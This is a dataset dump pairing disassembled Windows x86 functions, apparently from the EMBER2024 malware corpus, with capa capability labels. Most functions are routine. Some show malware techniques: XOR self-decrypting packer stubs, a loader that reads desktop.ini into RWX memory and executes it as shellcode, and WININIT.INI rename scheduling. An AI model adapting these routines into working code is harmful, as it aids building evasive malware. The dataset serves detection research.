joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fb40
Capabilities:
Set current directory

Disassembly:
mov eax, dword [0x42a820]
test eax, eax
je 0x40fbde
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push eax
call ebx
test eax, eax
je 0x40fbd0
push esi
push 1
push 0x118
call fcn.00419e02
mov esi, eax
add esp, 8
test esi, esi
je 0x40fbb9
push edi
push esi
push str..bin
call fcn.0041aa01
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
je 0x40fbaf
test byte [esi], 0x10
jne 0x40fb98
lea eax, [esi + 0x14]
push eax
call fcn.0041a180
add esp, 4
push esi
push edi
call fcn.0041aacb
add esp, 8
test eax, eax
je 0x40fb87
push edi
call fcn.0041ab90
add esp, 4
push esi
call fcn.00419eb3
add esp, 4
pop edi
push 0x4258bc
call ebx
mov ecx, dword [0x42a820]
push ecx
call fcn.0041a9d7
add esp, 4
pop esi
push 0x42a820
call fcn.00402160
add esp, 4
pop ebx
ret

Function at 0x40fc60
Capabilities:
Copy file

Disassembly:
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x104
xor ebp, ebp
call fcn.00402120
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
mov edx, ebx
add esp, 8
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fc85
push 0x5c
push ebx
call fcn.00419c00
add esp, 8
test eax, eax
je 0x40fca1
inc eax
jmp 0x40fca3
mov eax, ebx
mov edi, dword [esp + 0x20]
mov edx, eax
mov ecx, edi
sub edx, edi
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40fcad
mov esi, dword [esp + 0x18]
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40fcf2
mov dword [0x42a90c], 0x3e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [0x42a8fc]
mov dword [0x42a910], eax
mov ecx, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x40fce6
jmp 0x40fd1d
push 2
push esi
mov ebp, 1
call fcn.00419bad
add esp, 8
test eax, eax
je 0x40fd1d
cmp dword [0x42a944], 0xd
jne 0x40fd1d
push 0x180
push esi
call fcn.00419a6c
add esp, 8
lea ecx, [esp + 0x10]
push ecx
call fcn.00402160
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x410a30
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub esp, 0x1c
call fcn.0040b050
test eax, eax
je 0x410abb
call fcn.0040fd40
test eax, eax
je 0x410ab3
push ebx
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
push ebp
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
push edi
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
call esi
test eax, eax
je 0x410aa6
push 0
push 0
lea ecx, [esp + 0x18]
push 0
push ecx
call edi
test eax, eax
je 0x410a93
lea edx, [esp + 0x10]
push edx
call ebx
lea eax, [esp + 0x10]
push eax
call ebp
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
call esi
test eax, eax
jne 0x410a74
call fcn.0040fd40
test eax, eax
jne 0x410a61
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
jmp fcn.0040dd60
add esp, 0x1c
ret
Function at 0x411f80
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x318
push esi
mov esi, dword [esp + 0x320]
test esi, esi
je 0x411fa0
push 0x180
push esi
call fcn.00419a6c
add esp, 8
mov eax, dword [0x42a894]
test eax, eax
je 0x411feb
test esi, esi
jne 0x411fcc
mov eax, dword [esp + 0x324]
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x318
ret
mov ecx, dword [esp + 0x324]
push 5
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x318
ret
mov eax, dword [esp + 0x324]
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea edx, [esp + 0x11c]
push 0x104
push edx
push eax
call edi
test esi, esi
je 0x41201e
lea ecx, [esp + 0x220]
push 0x104
push ecx
push esi
call edi
lea edx, [esp + 0x18]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x18]
push str.WININIT.INI
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
test esi, esi
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
je 0x412080
lea ecx, [esp + 0x18]
lea edx, [esp + 0x11c]
push ecx
lea eax, [esp + 0x224]
push edx
push eax
push str.Rename
call esi
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call esi
pop edi
pop ebp
mov eax, 1
pop esi
add esp, 0x318
ret
lea edx, [esp + 0x18]
lea eax, [esp + 0x11c]
push edx
push eax
push 0x4258dc
push str.Rename
call esi
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call esi
lea edx, [esp + 0x18]
push 2
push edx
call fcn.004010a0
mov ebp, eax
add esp, 8
cmp ebp, 0xffffffff
je 0x412198
push ebx
push ebp
call fcn.00401220
mov ebx, eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], ebx
lea ecx, [ebx + 0x200]
push ecx
call fcn.004020e0
add esp, 0xc
test eax, eax
je 0x41218e
mov esi, dword [esp + 0x10]
push ebx
push esi
push ebp
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x412181
add ebx, 0xfffffffc
mov edx, esi
test ebx, ebx
jbe 0x412181
mov eax, 0xfffffffe
sub eax, esi
mov dword [esp + 0x18], eax
cmp byte [edx], 0x78
jne 0x412150
cmp byte [edx + 1], 0x79
jne 0x412150
cmp byte [edx + 2], 0x7a
jne 0x412150
cmp byte [edx + 3], 0x3d
jne 0x412150
lea edi, [esp + 0x120]
or ecx, 0xffffffff
xor eax, eax
lea esi, [edx + 4]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x120]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41215b
mov eax, dword [esp + 0x18]
inc edx
lea ecx, [eax + edx + 2]
cmp ecx, ebx
jb 0x412114
jmp 0x412181
push 0
push ebp
mov byte [edx], 0x4e
mov byte [edx + 1], 0x55
mov byte [edx + 2], 0x4c
call fcn.004011c0
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push edx
push eax
push ebp
call fcn.00401160
add esp, 0x14
lea ecx, [esp + 0x10]
push ecx
call fcn.00402160
add esp, 4
push ebp
call fcn.00401320
add esp, 4
pop ebx
pop edi
pop ebp
mov eax, 1
pop esi
add esp, 0x318
ret
Function at 0x419a6c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x419a97
test byte [esp + 8], 0x80
je 0x419a86
and al, 0xfe
jmp 0x419a88
or al, 1
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x419aa8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041b01a
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x419bad
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x419bcd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041b01a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x419bee
test byte [esp + 8], 2
je 0x419bee
mov dword [0x42a944], 0xd
mov dword [0x42a948], 5
jmp 0x419bc9
xor eax, eax
ret

Function at 0x41e629
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x429f60
cmp edx, dword [eax]
je 0x41e64b
add eax, 8
inc ecx
cmp eax, 0x429ff0
jl 0x41e63c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x429f60]
jne 0x41e779
mov eax, dword [0x42a9a0]
cmp eax, 1
je 0x41e753
test eax, eax
jne 0x41e67c
cmp dword [0x4279d8], 1
je 0x41e753
cmp edx, 0xfc
je 0x41e779
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41e6b3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041d280
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041d200
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x41e6f6
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041d200
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x425470
push edi
call fcn.0041a1d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041d280
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041d290
lea eax, [ebp - 0xa0]
push 0x422bd4
push eax
call fcn.0041d290
push dword [esi + 0x429f64]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041d290
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041ff85
add esp, 0x2c
pop edi
jmp 0x41e779
lea eax, [ebp + 8]
lea esi, [esi + 0x429f64]
push 0
push eax
push dword [esi]
call fcn.0041d200
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1b007769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x1b00b190
cmp edx, dword [eax]
je 0x1b00778b
add eax, 8
inc ecx
cmp eax, 0x1b00b220
jl 0x1b00777c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x1b00b190]
jne 0x1b0078b9
mov eax, dword [0x1b00bbb0]
cmp eax, 1
je 0x1b007893
test eax, eax
jne 0x1b0077bc
cmp dword [0x1b00b0e4], 1
je 0x1b007893
cmp edx, 0xfc
je 0x1b0078b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1b0077f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.1b008670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.1b008490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x1b007836
lea eax, [ebp - 0x1a4]
push eax
call fcn.1b008490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x1b00a45c
push edi
call fcn.1b008f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.1b008670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.1b008680
lea eax, [ebp - 0xa0]
push 0x1b00a43c
push eax
call fcn.1b008680
push dword [esi + 0x1b00b194]
lea eax, [ebp - 0xa0]
push eax
call fcn.1b008680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.1b008e75
add esp, 0x2c
pop edi
jmp 0x1b0078b9
lea eax, [ebp + 8]
lea esi, [esi + 0x1b00b194]
push 0
push eax
push dword [esi]
call fcn.1b008490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x49b7d0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x501814]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0x40c], eax
test edi, edi
je 0x49b8e6
call fcn.0049bda0
test eax, eax
je 0x49b8e6
mov ecx, ebx
call fcn.0049b7c0
mov esi, eax
test esi, esi
je 0x49b8e6
cmp dword [ebp - 0x40c], 0
je 0x49b837
movzx ecx, word [esi + 2]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [ebp - 0x40c]
mov word [ecx], ax
push 0x401
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.004a6d90
add esp, 0xc
lea eax, [ebp - 0x408]
push 2
push 0
push 0
push 0x401
push eax
push dword [ebx]
push esi
call dword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
je 0x49b939
cmp eax, 0x276d
jne 0x49b8e6
movzx eax, word [esi]
sub eax, 2
je 0x49b8fb
sub eax, 0x15
jne 0x49b8e6
movzx eax, byte [esi + 0x17]
push eax
movzx eax, byte [esi + 0x16]
push eax
movzx eax, byte [esi + 0x15]
push eax
movzx eax, byte [esi + 0x14]
push eax
movzx eax, byte [esi + 0x13]
push eax
movzx eax, byte [esi + 0x12]
push eax
movzx eax, byte [esi + 0x11]
push eax
movzx eax, byte [esi + 0x10]
push eax
movzx eax, byte [esi + 0xf]
push eax
movzx eax, byte [esi + 0xe]
push eax
movzx eax, byte [esi + 0xd]
push eax
movzx eax, byte [esi + 0xc]
push eax
movzx eax, byte [esi + 0xb]
push eax
movzx eax, byte [esi + 0xa]
push eax
movzx eax, byte [esi + 9]
push eax
movzx eax, byte [esi + 8]
push eax
push str._02X_02X:_02X_02X:_02X_02X:_02X_02X:_02X_02X:_02X_02X:_02X_02X:_02X_02X
push edi
call fcn.0049b640
add esp, 0x48
test eax, eax
jne 0x49b921
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [esi + 7]
push eax
movzx eax, byte [esi + 6]
push eax
movzx eax, byte [esi + 5]
push eax
movzx eax, byte [esi + 4]
push eax
push str._u._u._u._u
push edi
call fcn.0049b640
add esp, 0x18
test eax, eax
je 0x49b8e6
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 0x408]
mov ecx, edi
push eax
call fcn.0049cef0
mov ecx, dword [ebp - 4]
neg eax
pop edi
sbb eax, eax
xor ecx, ebp
pop esi
neg eax
pop ebx
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8

Function at 0x49e070
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x49e0b1
mov esi, 0x104
mov ecx, edi
push esi
call fcn.004943a0
test eax, eax
je 0x49e0b1
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
mov ecx, edi
call fcn.004948d0
push eax
call ebx
mov ecx, edi
cmp eax, esi
jbe 0x49e0b8
add esi, esi
push esi
call fcn.004943a0
test eax, eax
jne 0x49e094
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
call fcn.00494980
push 0x4d26a8
mov ecx, edi
call fcn.004943e0
test eax, eax
je 0x49e0b1
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
Function at 0x49fe00
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
call fcn.004a00a0
test eax, eax
jne 0x49fe21
push 0x3f2
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop esi
pop ebp
ret 4
push dword [ebp + 8]
push dword [esi + 8]
call fcn.0049fe60
add esp, 8
test eax, eax
jne 0x49fe48
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 2
pop esi
sete cl
mov eax, ecx
pop ebp
ret 4
mov eax, 1
pop esi
pop ebp
ret 4

Function at 0x49fe60
Capabilities:
Check if file exists
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je 0x49fe8c
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
pop ebp
ret
mov eax, 1
pop ebp
ret

Function at 0x49fea0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x501814]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
call fcn.004a00a0
test eax, eax
jne 0x49fedf
push 0x3f2
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8
test edi, edi
jne 0x49feff
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8
push esi
mov ecx, edi
call fcn.00494960
shr eax, 1
xorps xmm0, xmm0
mov dword [ebp - 8], eax
mov ecx, edi
lea eax, [ebp - 0x10]
movlpd qword [ebp - 0x10], xmm0
push eax
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
call fcn.004948d0
push eax
push dword [ebp + 8]
push dword [ebx + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x49ffa2
cmp esi, 0xea
jne 0x49ffc2
cmp dword [ebp - 8], 0
jne 0x49ff58
mov eax, 0x3c
jmp 0x49ff62
mov ecx, edi
call fcn.00494960
and eax, 0xfffffffe
mov dword [ebp - 8], eax
mov ecx, edi
add eax, eax
push eax
call fcn.00494310
test eax, eax
je 0x49ffba
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
call fcn.004948d0
push eax
push dword [ebp + 8]
push dword [ebx + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x49ff43
pop esi
pop edi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.004a559d
mov esp, ebp
pop ebp
ret 8
Function at 0x4a1b20
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c9d70
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x501814]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, 0x3c00
mov dword [ebp - 0x14], edi
nop word [eax + eax]
mov dword [ebp - 4], 0
test edi, edi
je 0x4a1bdf
push edi
call dword [0x4f90e0]
mov esi, eax
add esp, 4
test esi, esi
je 0x4a1bdf
lea eax, [ebp - 0x14]
push eax
push esi
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
test eax, eax
je 0x4a1bd4
cmp eax, 0x6f
jne 0x4a1bad
push esi
mov dword [ebp - 4], 4
call dword [0x4f90e8]
mov edi, dword [ebp - 0x14]
add esp, 4
jmp 0x4a1b60
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebx], 0
mov dword [ebx + 4], 0
push esi
mov dword [ebp - 4], 5
call dword [0x4f90e8]
add esp, 4
jmp 0x4a1bf4
test ebx, ebx
je 0x4a1bda
mov dword [ebx], edi
mov dword [ebx + 4], esi
jmp 0x4a1bf4
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a559d
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40b130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, edx
mov edx, dword [esp + 0x14]
mov ebp, dword [esp + 0x20]
xor esi, esi
lea edx, [eax + edx*2]
movzx ebx, byte [eax + 1]
cmp byte [eax], ch
lea eax, [eax + 2]
lea edi, [esi + ebx]
jne 0x40b180
cmp esi, edi
ja 0x40b1e8
cmp edi, dword [esp + 0x1c]
ja 0x40b1f6
add esi, dword [esp + 0x18]
nop word [eax + eax]
test ebx, ebx
je 0x40b182
dec ebx
cmp byte [esi], cl
lea esi, [esi + 1]
jne 0x40b170
jmp 0x40b1df
ja 0x40b188
cmp eax, edx
mov esi, edi
jne 0x40b143
mov edi, dword [esp + 0x24]
movzx ecx, cx
mov al, 1
add edi, ebp
nop word cs:[eax + eax]
nop dword [eax]
movzx edx, byte [ebp]
lea esi, [ebp + 1]
test dl, dl
js 0x40b1c0
mov ebp, esi
sub ecx, edx
jns 0x40b1d7
jmp 0x40b1e1
cmp esi, edi
je 0x40b206
movzx esi, byte [ebp + 1]
and edx, 0x7f
add ebp, 2
shl edx, 8
or edx, esi
sub ecx, edx
js 0x40b1e1
xor al, 1
cmp ebp, edi
jne 0x40b1a0
jmp 0x40b1e1
xor eax, eax
and al, 1
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, esi
mov edx, edi
push 0x45d554
call fcn.00458980
mov edx, dword [esp + 0x1c]
mov ecx, edi
push 0x45d554
call fcn.00458760
mov ecx, 0x45d544
call fcn.00458ab0
Function at 0x41e290
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x449770
lea eax, [ebp - 0x18]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
movzx eax, byte [0x49fac0]
test al, al
je 0x41e461
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41e2dc
cmp eax, 3
jne 0x41e45a
mov ebx, dword [0x49fac4]
test ebx, ebx
je 0x41e45a
mov dword [ebp - 0x20], 0
jmp 0x41e307
mov ebx, dword [ebx + 8]
test ebx, ebx
je 0x41e338
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
test edi, edi
je 0x41e4ab
dec esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41e300
push 0
push esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call edi
add esp, 4
mov al, 1
mov dword [ebp - 0x20], eax
jmp 0x41e300
test byte [ebp - 0x20], 1
je 0x41e45a
mov ebx, dword [0x49fac4]
test ebx, ebx
je 0x41e45a
mov dword [ebp - 0x20], 0
jmp 0x41e367
mov ebx, dword [ebx + 8]
test ebx, ebx
je 0x41e398
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
test edi, edi
je 0x41e4ab
dec esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41e360
push 0
push esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call edi
add esp, 4
mov al, 1
mov dword [ebp - 0x20], eax
jmp 0x41e360
test byte [ebp - 0x20], 1
je 0x41e45a
mov ebx, dword [0x49fac4]
test ebx, ebx
je 0x41e45a
mov dword [ebp - 0x20], 0
jmp 0x41e3c7
mov ebx, dword [ebx + 8]
test ebx, ebx
je 0x41e3f8
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
test edi, edi
je 0x41e4ab
dec esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41e3c0
push 0
push esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call edi
add esp, 4
mov al, 1
mov dword [ebp - 0x20], eax
jmp 0x41e3c0
test byte [ebp - 0x20], 1
je 0x41e45a
mov ebx, dword [0x49fac4]
test ebx, ebx
je 0x41e45a
mov dword [ebp - 0x20], 0
jmp 0x41e427
mov ebx, dword [ebx + 8]
test ebx, ebx
je 0x41e454
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
test edi, edi
je 0x41e4ab
dec esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41e420
push 0
push esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call edi
add esp, 4
mov al, 1
mov dword [ebp - 0x20], eax
jmp 0x41e420
test byte [ebp - 0x20], 1
jne 0x41e474
movzx eax, byte [0x499cc0]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
mov ebx, dword [0x49fac4]
jmp 0x41e47f
mov ebx, dword [ebx + 8]
test ebx, ebx
je 0x41e45a
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
test edi, edi
je 0x41e4ab
dec esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
